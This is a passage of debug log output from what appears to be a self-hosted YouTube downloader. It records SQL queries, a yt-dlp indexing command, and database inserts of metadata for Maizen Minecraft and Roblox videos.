"/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 17:34:28.158 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:28.158 [debug] QUERY OK source="sources" db=0.1ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.159 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 17:34:28.171 [debug] QUERY OK source="media_items" db=11.2ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "dd52d5d1-5d9f-4b60-87f5-415206fa6eaf", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 17:34:28.172 [debug] QUERY OK source="sources" db=0.2ms idle=102.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.172 [debug] QUERY OK source="media_profiles" db=0.1ms idle=14.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:34:28.172 [debug] QUERY OK source="media_items" db=0.2ms idle=14.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 17:34:28.172 [debug] Current batch of media processed. Will check again in 1000ms 17:34:28.937 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/0b/f9/0bf978c8b784b5760ecb06d29e795d4bb34eef2216a7c4ad72bf5d6980067944.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/49/f5/49f52f8981b3e3f3c0fd6c7726214c1123a1625e2203a3eb037b4d81c1af84bc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 17:34:28.938 [debug] Gracefully stopping file follower 17:34:28.939 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=778.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 17:34:28.939 [debug] QUERY OK source="sources" db=0.2ms idle=767.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.941 [debug] QUERY OK source="media_items" db=1.4ms idle=767.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 17:34:28.948 [debug] QUERY OK source="media_items" db=6.4ms idle=768.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "199ddd0b-cade-4c27-bf39-e3beb6201f4f", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 17:34:28.948 [debug] QUERY OK source="sources" db=0.2ms idle=775.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.950 [debug] QUERY OK source="media_items" db=1.4ms idle=9.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 17:34:28.951 [debug] QUERY OK source="media_items" db=0.8ms idle=10.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "833e8196-140c-4c73-8be7-4149c550e54a", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 17:34:28.951 [debug] QUERY OK source="sources" db=0.3ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.953 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 17:34:28.954 [debug] QUERY OK source="media_items" db=0.7ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "0b18c925-be0c-4ab2-87d9-2352fe6193e4", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 17:34:28.955 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.956 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 17:34:28.957 [debug] QUERY OK source="media_items" db=0.6ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "0d8e602b-99f1-4c22-8a41-af552f9b0e00", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 17:34:28.958 [debug] QUERY OK source="sources" db=0.3ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.959 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 17:34:28.961 [debug] QUERY OK source="media_items" db=0.6ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "87f0c579-31e2-454f-bfba-f1912ec7203b", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 17:34:28.961 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.963 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 17:34:28.964 [debug] QUERY OK source="media_items" db=0.7ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "a6582cbf-0c73-454b-92ff-c5a9a4522809", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 17:34:28.964 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.966 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 17:34:28.967 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "68aaa1a5-0595-462e-af5a-244043024f3e", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 00:34:28Z], ~U[2026-08-20 00:34:28Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 17:34:28.967 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:34:28.969 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 17:34:28.970 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► 